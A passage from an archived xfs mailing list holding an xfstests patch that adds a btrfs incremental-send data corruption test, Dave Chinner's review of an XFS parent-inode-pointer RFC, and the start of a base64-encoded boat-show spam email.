bh=toc4gYQZcyXjRvOYr0DtKjJDL8Gq7WAbW6WRh+qbwvk=; b=Z9qsmNskBQJNA+lxo526tRYpgRRH54xM89ZXXR8YZusOgTpsX4RdYUaeaW5ES5qQv5 b3dT0IckknhA3wW/Ri0FbutKb5m+k1StQm/Y5UBuQqSTbTawcieHashHYcND7FX0uxDP DdDZlWFYWwbnHOOhfXeXO+1AkaCb62ZIwtMtBAa3R4sWUadnpa8rD9zhIQlyRxqw06oO UwU7zGeOElQWZYv4P7DWHB26kkzxN2pauThaWPpQcl6YI9lOx8lceRqJBrbGn7p98sXp 5ub95e79lTDpZT+7c4mgCcfUdEAbmhLgjraZdswLTS+XeGMZakCs4iF1QmOhnRq933Jq B6XQ== X-Received: by 10.180.82.193 with SMTP id k1mr2121273wiy.15.1390873263561; Mon, 27 Jan 2014 17:41:03 -0800 (PST) Received: from storm-desktop.lan (bl9-171-228.dsl.telepac.pt. [85.242.171.228]) by mx.google.com with ESMTPSA id fz5sm31676280wic.11.2014.01.27.17.40.58 for <multiple recipients> (version=TLSv1.1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Mon, 27 Jan 2014 17:41:03 -0800 (PST) From: Filipe David Borba Manana <fdmanana@gmail.com> To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org, Filipe David Borba Manana <fdmanana@gmail.com> Subject: [PATCH] xfstests: add test for btrfs incremental send data corruption Date: Tue, 28 Jan 2014 01:40:42 +0000 X-ASG-Orig-Subj: [PATCH] xfstests: add test for btrfs incremental send data corruption Message-Id: <1390873242-8723-1-git-send-email-fdmanana@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-wg0-f52.google.com[74.125.82.52] X-Barracuda-Start-Time: 1390873264 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144545 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Btrfs incremental send had an issue where it would detect a non-existent file hole and then overwrite the file section that hole covers with zeroes, overriding file data that it shouldn't. The respective btrfs kernel patch that fixed this issue is titled: Btrfs: fix send file hole detection leading to data corruption (https://patchwork.kernel.org/patch/3544831/) Signed-off-by: Filipe David Borba Manana <fdmanana@gmail.com> --- tests/btrfs/034 | 101 +++++++++++++++++++++++++++++++++++++++++++++++++++ tests/btrfs/034.out | 6 +++ tests/btrfs/group | 1 + 3 files changed, 108 insertions(+) create mode 100755 tests/btrfs/034 create mode 100644 tests/btrfs/034.out diff --git a/tests/btrfs/034 b/tests/btrfs/034 new file mode 100755 index 0000000..db792de --- /dev/null +++ b/tests/btrfs/034 @@ -0,0 +1,101 @@ +#! /bin/bash +# FS QA Test No. btrfs/034 +# +# Test for a btrfs incremental send data corruption issue due to +# bad detection of file holes. +# +#----------------------------------------------------------------------- +# Copyright (c) 2014 Filipe Manana. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +tmp=`mktemp -d` + +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + rm -fr $tmp +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_supported_fs btrfs +_supported_os Linux +_require_scratch +_need_to_be_root + +rm -f $seqres.full + +_scratch_mkfs >/dev/null 2>&1 +_scratch_mount + +# Create a file such that its file extent items span at least 3 btree leafs. +# This is necessary to trigger a btrfs incremental send bug where file hole +# detection was not correct, leading to data corruption by overriding latest +# data regions of a file with zeroes. + +run_check $XFS_IO_PROG -f -c "truncate 104857600" $SCRATCH_MNT/foo + +for ((i = 0; i < 940; i++)) +do + OFFSET=$((32768 + i * 8192)) + LEN=$((OFFSET + 8192)) + run_check $XFS_IO_PROG -c "falloc -k $OFFSET $LEN" $SCRATCH_MNT/foo + run_check $XFS_IO_PROG -c "pwrite -S 0xf0 $OFFSET 4096" $SCRATCH_MNT/foo +done + +run_check $BTRFS_UTIL_PROG subvolume snapshot -r $SCRATCH_MNT \ + $SCRATCH_MNT/mysnap1 + +run_check $BTRFS_UTIL_PROG filesystem sync $SCRATCH_MNT +run_check $XFS_IO_PROG -c "truncate 3882008" $SCRATCH_MNT/foo + +run_check $BTRFS_UTIL_PROG subvolume snapshot -r $SCRATCH_MNT \ + $SCRATCH_MNT/mysnap2 + +run_check $BTRFS_UTIL_PROG send $SCRATCH_MNT/mysnap1 -f $tmp/1.snap +run_check $BTRFS_UTIL_PROG send -p $SCRATCH_MNT/mysnap1 $SCRATCH_MNT/mysnap2 \ + -f $tmp/2.snap + +md5sum $SCRATCH_MNT/foo | _filter_scratch +md5sum $SCRATCH_MNT/mysnap1/foo | _filter_scratch +md5sum $SCRATCH_MNT/mysnap2/foo | _filter_scratch + +_scratch_unmount +_check_btrfs_filesystem $SCRATCH_DEV +_scratch_mkfs >/dev/null 2>&1 +_scratch_mount + +run_check $BTRFS_UTIL_PROG receive $SCRATCH_MNT -f $tmp/1.snap +md5sum $SCRATCH_MNT/mysnap1/foo | _filter_scratch + +run_check $BTRFS_UTIL_PROG receive $SCRATCH_MNT -f $tmp/2.snap +md5sum $SCRATCH_MNT/mysnap2/foo | _filter_scratch + +_scratch_unmount +_check_btrfs_filesystem $SCRATCH_DEV + +status=0 +exit diff --git a/tests/btrfs/034.out b/tests/btrfs/034.out new file mode 100644 index 0000000..808e6b4 --- /dev/null +++ b/tests/btrfs/034.out @@ -0,0 +1,6 @@ +QA output created by 034 +9023ed93111c422d82e9cd54043a6fb0 SCRATCH_MNT/foo +8e58ce8749d203f29f6b8f6990da722f SCRATCH_MNT/mysnap1/foo +9023ed93111c422d82e9cd54043a6fb0 SCRATCH_MNT/mysnap2/foo +8e58ce8749d203f29f6b8f6990da722f SCRATCH_MNT/mysnap1/foo +9023ed93111c422d82e9cd54043a6fb0 SCRATCH_MNT/mysnap2/foo diff --git a/tests/btrfs/group b/tests/btrfs/group index 3f61799..b0a6b70 100644 --- a/tests/btrfs/group +++ b/tests/btrfs/group @@ -33,3 +33,4 @@ 028 auto quick 029 auto quick 030 auto quick +034 auto quick -- 1.7.9.5 From david@fromorbit.com Mon Jan 27 21:00:50 2014 Return-Path: <david@fromorbit.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: * X-Spam-Status: No, score=1.5 required=5.0 tests=COMPENSATION autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id C21997F62 for <xfs@oss.sgi.com>; Mon, 27 Jan 2014 21:00:50 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 7F265304053 for <xfs@oss.sgi.com>; Mon, 27 Jan 2014 19:00:47 -0800 (PST) X-ASG-Debug-ID: 1390878044-04bdf030eb189b90001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id RFXN0RYBubnjf00R for <xfs@oss.sgi.com>; Mon, 27 Jan 2014 19:00:45 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ArkKAA0c51J5LGaB/2dsb2JhbABQCoMMgzm0Y4VQgRwXdIIlAQEBAwEnExwjBQsIAxIGCSUPBSUDDRQTh30HyWwXFo4NXAeEOASYJpIfg0EogS4k Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail06.adl2.internode.on.net with ESMTP; 28 Jan 2014 13:30:43 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from <david@fromorbit.com>) id 1W7yum-0007yd-UI; Tue, 28 Jan 2014 14:00:40 +1100 Date: Tue, 28 Jan 2014 14:00:40 +1100 From: Dave Chinner <david@fromorbit.com> To: Mark Tinguely <tinguely@sgi.com> Cc: xfs@oss.sgi.com Subject: Re: [RFC 00/17] RFC parent inode pointers. Message-ID: <20140128030040.GG2212@dastard> X-ASG-Orig-Subj: Re: [RFC 00/17] RFC parent inode pointers. References: <20140115220012.624438534@sgi.com> <20140116055607.GR3431@dastard> <52D99FD2.6000601@sgi.com> <20140118031247.GE18112@dastard> <52E6B67B.6070001@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52E6B67B.6070001@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1390878044 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_SA210e X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144547 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC5_SA210e Custom Rule SA210e On Mon, Jan 27, 2014 at 01:41:47PM -0600, Mark Tinguely wrote: > On 01/17/14 21:12, Dave Chinner wrote: > > <massive delete we can go over it point by point if necessary, but let > us start here>. > > 1) Yep, the parent inode generation number is needed. I thought I said > it was, bad on me if I did not. It was an RFC and I was too lazy to > go back and add it in. > > 2) Add the filename to EA. Not a fan, but I will ask but if DMF needs it > for performance then it has to be done. My point was this assumes > that we can keep all the links' EA entries inline in the inode. A > couple 255 character files or several links of modest sized filenames > would negate that assumption. I tried to minimize the EA entries to > keep them inline in the inode. I will talk to the DMF group. Actually, I made the point about DMF needing them inline performance because that's an argument SGI might find persuasive. What I didn't say just then is that *I* need them inline, too, as online directory tree scrubbing needs to be able to do bulks scans, as does xfs_repair. However, I have idefinitely said this before in previous parent poitner discussions, so it should be no surprise here... > 3) There is a unlink/link race because the directory and EA changes > are done without a common lock. I hit this in testing. Because your patch set didn't contain the necessary link discrimination information in the parent EA and so serialisation was required? > ln a filename1 (EA saved to inode) > rm filename1 > ln a filename1 (EA not saved because it is a duplicate) Why wasn't the parent EA removed in the 'rm filename1' syscall context? You can't do a link operation while an unlink is in progress because of the VFS directory mutex serialising namespace operations. The only way I can see this happening is if you are bypassing the VFS. i.e. this is a CXFS problem, yes? > (rm EA operation happens and removes the only PIP > entry) > rm filename1 (no EA entry error) > > * My speculation from counters and my testing. > > i) Why not add the lock to keep the directory/EA changes in sync? We don't need to add a lock - we already have one in the parent inode lock. We can tell xfs_trans_commit() not to unlock objects during the commit. i.e. using xfs_trans_ijoin(... 0) rather than xfs_trans_ijoin(... XFS_ILOCK_EXCL) ensures an inode is not unlocked during a commit and so we can do multiple rolling transactions on that inode without unlocking it. This is used throughout the attribute code so that the multiple transactions needed to modify attributes are done atomically, same as we do in xfs_inactive(), xfs_itruncate_extents(), etc. The same needs to be done for the parent EA code, regardless of how we do the multiple transactions. > ii) 2009 code required duplicate EA entries to compensate. > A) Required a counter/inode to make every link unique. > Granted this counter could be in a inode field. > B) Required a EA walk to find one of the duplicates entries > for the remove. > i) Mark no likey, much bitching and moaning... > C) More below. Yes, we know you don't like the implementation it used to provide link discrimination. I've already proposed a way to fix the issues you have with it, so let's move on.... > >Mark, don't get me wrong - the 2009 patchset is not perfect and it's > >not finished and it simply reflects what we knew at the time. When I > >refer to that patch, I'm comparing the architecture and design of > >the different parent pointer approaches, not the implementation. > >The design has to be sound before I care about the implementation > >and quality of the code. If we can't agree on basic architecture > >and design points, then we are most definitely not going to agree on > >the implementation. > > > >Right now, the design of the proposed patchset does not address > >the critical problem of identifier uniqueness and ignores the > >bulk-lookup performance requirements that we know about. Addressing > >those are going to require a change of on-disk attribute format in > >that patch set and that invalidates the in-inode-core optimisations > >that have been made. IOWs, we need to solve the problem first, then > >optimise. > > > >So, what do we need in the parent pointer attribute to solve all the > >known problems? The implementation will flow cleanly from what we > >can store on disk, and we know that we need at least these things to > >solve all the known issues: > > > > * parent inode number and generation (unique identifier) > > agreed > > > * link disambiguation (unlink/link race detection) > > why allow a unlink/link race? I mentioned it as an example in the context of the discussion. Even if we can avoid the link/unlink races, we still need link disambiguation - we have to be able to do this to be able to use parent pointers for validating and repairing the directory structure. > > * filename (for bulk lookup performance) The filename is needed for directory structure validation and repair, too. Indeed, this is the primary reason I want parent pointers - for xfs_repair and online filesystem scrubbing. If you don't have the parent pointer giving all the information necessary to validate that reverse and forward links match precisely, then you cannot use them for validation and repair purposes. For example, something went bad, and we then end up with an inode with two parent pointers that point to the same directory. The parent directory has one pointer to the inode, so there's a dangling link on the child inode. Now, how do you tell if we should connect the link back up to the parent, or whether we should remove the EA from the child? If we don't have the filename in the child's EA, then we can't recover missing the parent dir entry at all - there's no redundant information to work from. Hence we can only trash one of the child's EAs and update it's link count. If the child has the filename and the dir offset, then we can check if the dir_offset in the parent is empty, and if it is we can reconnect the directory to the child. Otherwise we trash the child's EA. The killer repair feature, however, is that we can rebuild the entire directory structure if inode parent EAs have filenames in them. With the name, unique parent identifier and directory offset, we can find all the unique directory entries that made up the missing parent directory and reconstruct it. IOWs, we can recover the entire filesystem from a lost root inode without leaving large amounts of work for users to reconstruct the directory structure from lost_found. IOWs, we can mostly remove the need for lost+found with correctly structured parent pointers... > >So the question is how to implement the link disambiguation > >efficiently. That is currently implemented in the 2009 patchset with > >a the monotonic increasing counter that is appended to the attribute > >name. Do we even need a generation count, or is there some other > >info we can use that uniquely identifies a dirent? > > > >While the diroffset of a filename is not unique enough to identify > >the child, I think the {diroffset,filename,child_inode} tuple is > >sufficient. That is, if the diroffset gets reused and points to a > >different filename, we can detect that from the contents of EA and > >abort. If a link of the same name is created, then we can check > >whether it points at the same inode. If it does, then we just don't > >care that there was a race because our current pointer is still > >valid. And we don't need to store the child inode number in the EA - > >we already have that in the child struct xfs_inode structure. That > >verification can even be done in userspace. > > > >Hence I think we've already got all the info we need if we make a > >hybrid format from the two approaches: > > > > name=parent_inode,gen,diroffset value=filename > > > >The inode/gen gives all the information we need to reliably identify > >the parent without requiring child->parent lock ordering, and allows > >userspace to do pathname component level reconstruction without the > >kernel ever needing to verify the parent itself as part of ioctl > >calls. > > > >And finally, by using the diroffset in the EA name, we have a method of > >knowing the exact parent pointer EA we need to modify/remove in > >rename/unlink without an unbound searching. > > > >I think that solves all the architectural issues that we know > >about with both implemenations. > > Thinking out loud: > > EA names have to be unique. Yes, but they need to be unique in a way that we can calculate from the context of operations on the child inode so we can avoid searching the attr tree for a matching name/value pair. > A link/unlink/link EA sequence would have to do a EA RENAME (overwrite > the duplicate EA with new name). I'm afraid I don't follow you here - if EA names are unique, then what exactly are we renaming? And if parent EA operations are atomic with the directory name operations, then how can we ever get a problem w.r.t. duplicate names as the directory operation will prevent that from happening? > Have to do either: > Do a EA lookup and compare before remove. I assume you mean "compare value before remove", because an EA remove already does a EA lookup first to find the attribute location in the attr tree before doing a remove. If the attr name is not found, the ENOATTR is returned. > or > Add a new EA command that removes a name/value pair. Which is trivial to add to the existing xfs_attr_remove() codepath. I'm not sure it solves anything, though, if we use link disambiguation to provide unique names and serialise EAs to create/link/unlink/rename correctly. > Not sure if this would work on more than one unlink/link race and seems > like this would still not work if filename of the 2 links are > the same. > > Leaving a known race makes me a bit queezy. I've never proposed that we leave a known race *unhandled*. Races don't have to be handled by locks - locks are the easiest way to handle them, but not necessarily the best way. There are plenty of race conditions in the code that are handled at the sites where the race condition can be *reliably detected*. > My internal version uses > locks, but I were clear that you did not like the locks and so they were > not included in the RFC. You should *never* make assumptions about what any reviewer might say about code that they've never seen. I expect developers to post code that reflects the current state of their knowledge of a problem. That's especially true for proposals and RFCs where holding back information is frequently harmful to the discussion, and makes people disinclined to engage with you in future. Please don't make that mistake again. Cheers, Dave. -- Dave Chinner david@fromorbit.com From sliencenini@mx14.ubmsinoexpo-cce.com Mon Jan 27 21:05:29 2014 Return-Path: <sliencenini@mx14.ubmsinoexpo-cce.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: **** X-Spam-Status: No, score=4.8 required=5.0 tests=HTML_IMAGE_RATIO_04, HTML_MESSAGE,MIME_BASE64_BLANKS,MIME_HTML_ONLY,SUBJ_ALL_CAPS autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 67C157F6D for <xfs@oss.sgi.com>; Mon, 27 Jan 2014 21:05:29 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 418708F804B for <xfs@oss.sgi.com>; Mon, 27 Jan 2014 19:05:25 -0800 (PST) X-ASG-Debug-ID: 1390878317-04cb6c75091637b0001-NocioJ Received: from mail-c4-a6a8.sendchunk.net (mail-c4-a6a8.sendchunk.net [118.244.166.168]) by cuda.sgi.com with SMTP id YlLJEugok6GidNLU for <xfs@oss.sgi.com>; Mon, 27 Jan 2014 19:05:18 -0800 (PST) X-Barracuda-Envelope-From: sliencenini@mx14.ubmsinoexpo-cce.com X-Barracuda-Apparent-Source-IP: 118.244.166.168 Received: from 127.0.0.1 by ESMTP (Postfix) for xfs@oss.sgi.com; Tue, 28 Jan 2014 11:05:17 +0800 (CST) Bounces-To: <sliencenini@163.com> Errors-To: <sliencenini@163.com> Reply-To: <sliencenini@163.com> From: "=?UTF-8?B?eWFjaHQ=?=" <sliencenini@163.com> To: xfs@oss.sgi.com Subject: =?UTF-8?B?Q0lCUyDigJMgSVQgSlVT?= =?UTF-8?B?VCBLRUVQUyBHRVRUSQ==?= =?UTF-8?B?TkcgQkVUVEVS?= Date: Tue, 28 Jan 2014 11:05:15 +0800 (CST) X-ASG-Orig-Subj: =?UTF-8?B?Q0lCUyDigJMgSVQgSlVT?= =?UTF-8?B?VCBLRUVQUyBHRVRUSQ==?= =?UTF-8?B?TkcgQkVUVEVS?= Mime-version: 1.0 Content-Type: text/html; charset=UTF-8 Content-Transfer-Encoding: base64 Message-Id: <20140128030515.E40ACE00B80@core> X-Barracuda-Connect: mail-c4-a6a8.sendchunk.net[118.244.166.168] X-Barracuda-Start-Time: 1390878318 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.24 X-Barracuda-Spam-Status: No, SCORE=1.24 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=FROM_EXCESS_BASE64, FROM_EXCESS_BASE64_2, HTML_IMAGE_RATIO_04, HTML_MESSAGE, MIME_BASE64_BLANKS, MIME_HTML_ONLY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144547 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.17 HTML_IMAGE_RATIO_04 BODY: HTML has a low ratio of text to image area 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 MIME_BASE64_BLANKS RAW: Extra blank lines in base64 encoding 0.01 FROM_EXCESS_BASE64 From: base64 encoded unnecessarily 1.05 FROM_EXCESS_BASE64_2 From: base64 encoded unnecessarily PGh0bWw+CjxoZWFkPgo8dGl0bGU+Q0lCUzIwMTQxMjE2LUVOIC0g5Ymv5pysPC90aXRsZT4KPG1l dGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9 Z2IyMzEyIj4KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4KYTpsaW5rIHsKCWNvbG9yOiAjMDAwOwoJ dGV4dC1kZWNvcmF0aW9uOiBub25lOwp9CmE6dmlzaXRlZCB7Cgl0ZXh0LWRlY29yYXRpb246IG5v bmU7Cgljb2xvcjogIzAwMDsKfQphOmhvdmVyIHsKCXRleHQtZGVjb3JhdGlvbjogbm9uZTsKfQph OmFjdGl2ZSB7Cgl0ZXh0LWRlY29yYXRpb246IG5vbmU7Cglmb250LXdlaWdodDogYm9sZDsKfQpi b2R5LHRkLHRoIHsKCWNvbG9yOiAjMDAwOwp9Cjwvc3R5bGU+CjwvaGVhZD4KPGJvZHkgYmdjb2xv cj0iI0ZGRkZGRiIgbGVmdG1hcmdpbj0iMCIgdG9wbWFyZ2luPSIwIiBtYXJnaW53aWR0aD0iMCIg bWFyZ2luaGVpZ2h0PSIwIj4KPCEtLSBTYXZlIGZvciBXZWIgU2xpY2VzIChDSUJTMjAxNDEyMTYt RU4gLSDlia/mnKwucHNkKSAtLT4KPHRhYmxlIGlkPSJfXzAxIiB3aWR0aD0iNjQwIiBoZWlnaHQ9 IjE3ODciIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIiBhbGlnbj0i Y2VudGVyIj4KCTx0cj4KCQk8dGQgY29sc3Bhbj0iNSIgd2lkdGg9IjY0MCIgaGVpZ2h0PSIzMCI+ PHRhYmxlIHdpZHRoPSI2MzkiIGJvcmRlcj0iMCI+CgkJICA8dHI+CgkJCSAgICA8dGQ+PGRpdiBh bGlnbj0iY2VudGVyIj48c3BhbiBjbGFzcz0iU1RZTEU0MyIgc3R5bGU9InRleHQtYWxpZ246IGNl bnRlciI7IGZvbnQtc2l6ZTogMTJweDsgZm9udC1mYW1pbHk6ICJUcmVidWNoZXQgTVMiLCBBcmlh bCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmOyI+VG8gdmlldyBlbWFpbCBvbmxpbmU8L3NwYW4+PHNw YW4gY2xhc3M9IlNUWUxFNDMiPiA8YSBocmVmPSJodHRwOi8vdGoudWJtc2lub2V4cG8tYm9hdC5j b20vYXBpY291bnQvdHJhY2svYnVsay9NVFEzL2VHWnpRRzl6Y3k1eloya3VZMjl0L2FIUjBjRG92 TDJGd2NITXVkV0p0WVhOcFlTNWpiMjB2Wm1sc1pYTXZiV1ZrYVdGdlltcGxZM1J6TDBacGJHVnpM ek14TDBOSlFsTXlNREUwTDBwaGJpMWxiaTlEU1VKVE1qQXhOREF4TWpjdFJVNHVhSFJ0YkEiIHN0 eWxlPSJmb250LXdlaWdodDogYm9sZCI+Y2xpY2s8L2E+PC9zcGFuPjxzcGFuIGNsYXNzPSJTVFlM RTQ3Ij4gPHNwYW4gY2xhc3M9IlNUWUxFNDUiIHN0eWxlPSJmb250LWZhbWlseTogVHJlYnVjaGV0 IE1TLCBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmOyBmb250LXNpemU6IDEycHg7IGNvbG9y OiAjRkZGOyI+aGVyZTwvc3Bhbj48L3NwYW4+PC9kaXY+CQkJICAgICAgPC9kaXY+PC90ZD4KCSAg ICAgIDwvdHI+CgkgIDwvdGFibGU+PC90ZD4KICA8L3RyPgoJPHRyPgoJCTx0ZCBjb2xzcGFuPSI1 Ij4KCQkJPGltZyBzcmM9Imh0dHA6Ly9hcHBzLnVibWFzaWEuY29tL2ZpbGVzL21lZGlhb2JqZWN0 cy9GaWxlcy8zMS9DSUJTMjAxNC9EZWMtZW4vQ0lCUzIwMTQxMjIwLUVOXzAxLmdpZiIgYWx0PSIi IHdpZHRoPSI2NDAiIGhlaWdodD0iMTA5IiBib3JkZXI9IjAiIHVzZW1hcD0iI01hcDIiPjwvdGQ+ Cgk8L3RyPgoJPHRyPgoJCTx0ZCBjb2xzcGFuPSI1IiB3aWR0aD0iNjQwIiBoZWlnaHQ9IjQ5Ij48 dGFibGUgd2lkdGg9IjYzNSIgaGVpZ2h0PSIyMyIgYm9yZGVyPSIwIj4KCQkgIDx0cj4KCQkgICAg PHRkIHdpZHRoPSIxMCI+Jm5ic3A7PC90ZD4KCQkgICAgPHRkIHdpZHRoPSI2MTUiIHN0eWxlPSJm b250LWZhbWlseTogQXJpYWw7IGZvbnQtd2VpZ2h0OiBib2xkOyBmb250LXNpemU6IDE4cHg7IHRl eHQtYWxpZ246IGNlbnRlcjsiPkNJQlMgJm5kYXNoOyBJVCBKVVNUIEtFRVBTIEdFVFRJTkcgQkVU VEVSPC90ZD4KCSAgICAgIDwvdHI+CgkgICAgPC90YWJsZT48L3RkPgoJPC90cj4KCTx0cj4KCQk8 dGQgY29sc3Bhbj0iMyI+CgkJICA8aW1nIHNyYz0iaHR0cDovL2FwcHMudWJtYXNpYS5jb20vZmls ZXMvbWVkaWFvYmplY3RzL0ZpbGVzLzMxL0NJQlMyMDE0L0phbi1lbi9DSUJTMjAxNDEyMTYtRU4t LS1fMDQuZ2lmIiB3aWR0aD0iMzExIiBoZWlnaHQ9IjIyNSIgYWx0PSIiPjwvdGQ+CgkJPHRkIGNv bHNwYW49IjIiIHdpZHRoPSIzMjkiIGhlaWdodD0iMjI1Ij48dGFibGUgd2lkdGg9IjMyNSIgaGVp Z2h0PSIxOSIgYm9yZGVyPSIwIj4KCQkgIDx0cj4KCQkgICAgPHRkIHdpZHRoPSI5Ij4mbmJzcDs8 L3RkPgoJCSAgICA8dGQgd2lkdGg9IjI5OSIgc3R5bGU9ImZvbnQtZmFtaWx5OiBBcmlhbDsgZm9u dC1zaXplOiAxNHB4OyBsaW5lLWhlaWdodDoxNTAlIj5UaGUgQ2hpbmEgKFNoYW5naGFpKSBJbnRl cm5hdGlvbmFsIEJvYXQgU2hvdyBoYXZlIHNpZ25lZCBhbiBhZ3JlZW1lbnQgd2l0aCB0aGUgbmV3 IG9uIHRoZSBOb3J0aCBCdW5kIGZvciB0aGlzIHRvIGJlIHRoZSBzaXRlIG9mIHRoZSBvbiB0aGUg d2F0ZXIgZGlzcGxheXMgIGZvciB0aGUgMTl0aCBDaGluYSAoc2hhbmdoYWkpIEludGVybmF0aW9u YWwgIEJvYXQgIFNob3cuV2l0aCAgYSBtYXJpbmEgdGhhdCAgaXMgIHNvIGJyYW5kICBuZXcsICBj YXJlIGhhZCB0byBiZSB0YWtlbiB0aGF0IHRoZSBmYWNpbGl0eSB3aWxsIGFjdHVhbGx5IGJlIGZp bmlzaGVkIGluIHRpbWUgZm9yIHRoZSBCb2F0IFNob3cgaW4gQXByaWwuPC90ZD4KCQkgICAgPHRk IHdpZHRoPSIxMCI+Jm5ic3A7PC90ZD4KCSAgICAgIDwvdHI+CgkgICAgPC90YWJsZT48L3RkPgoJ PC90cj4KCTx0cj4KCQk8dGQgY29sc3Bhbj0iNSIgd2lkdGg9IjY0MCIgaGVpZ2h0PSI2MCI+PHRh YmxlIHdpZHRoPSI2MzUiIGhlaWdodD0iNDYiIGJvcmRlcj0iMCI+CgkJICA8dHI+CgkJICAgIDx0 ZCB3aWR0aD0iMTI0IiBoZWlnaHQ9IjQyIj4mbmJzcDs8L3RkPgoJCSAgICA8dGQgd2lkdGg9IjE2 NiIgYmdjb2xvcj0iI0ZGMDAwMCIgc3R5bGU9ImZvbnQtZmFtaWx5OiBBcmlhbDsgZm9udC1zaXpl OiAxNHB4OyBmb250LXdlaWdodDogYm9sZDsgdGV4dC1hbGlnbjogY2VudGVyOyBjb2xvcjogI0ZG RjsiPjxhIGhyZWY9Imh0dHA6Ly90ai51Ym1zaW5vZXhwby1ib2F0LmNvbS9hcGljb3VudC90cmFj ay9idWxrL01UUTMvZUdaelFHOXpjeTV6WjJrdVkyOXQvYUhSMGNEb3ZMM2QzZHk1aWIyRjBjMmh2 ZDJOb2FXNWhMbU52YlM5UWIzSjBZV3h6THpndlZHVnRjR3hoZEdWekwxTndZV05sWW05dmEybHVa Mlp2Y20weU1ERTBYMlZ1TG5Ca1pqOWphV1E5WldSdE1Ea3dPVjh4IiB0YXJnZXQ9Il9ibGFuayI+ MjAxNCBTcGFjZSBCb29raW5nPC9hPjwvdGQ+CgkJICAgIDx0ZCB3aWR0aD0iNDMiPiZuYnNwOzwv dGQ+CgkJICAgIDx0ZCB3aWR0aD0iMTk0IiBiZ2NvbG9yPSIjRkY2NjAwIiBzdHlsZT0iZm9udC1m YW1pbHk6IEFyaWFsOyBmb250LXNpemU6IDE0cHg7IGZvbnQtd2VpZ2h0OiBib2xkOyB0ZXh0LWFs aWduOiBjZW50ZXI7IGNvbG9yOiAjRkZGOyI+PGEgaHJlZj0iaHR0cDovL3RqLnVibXNpbm9leHBv 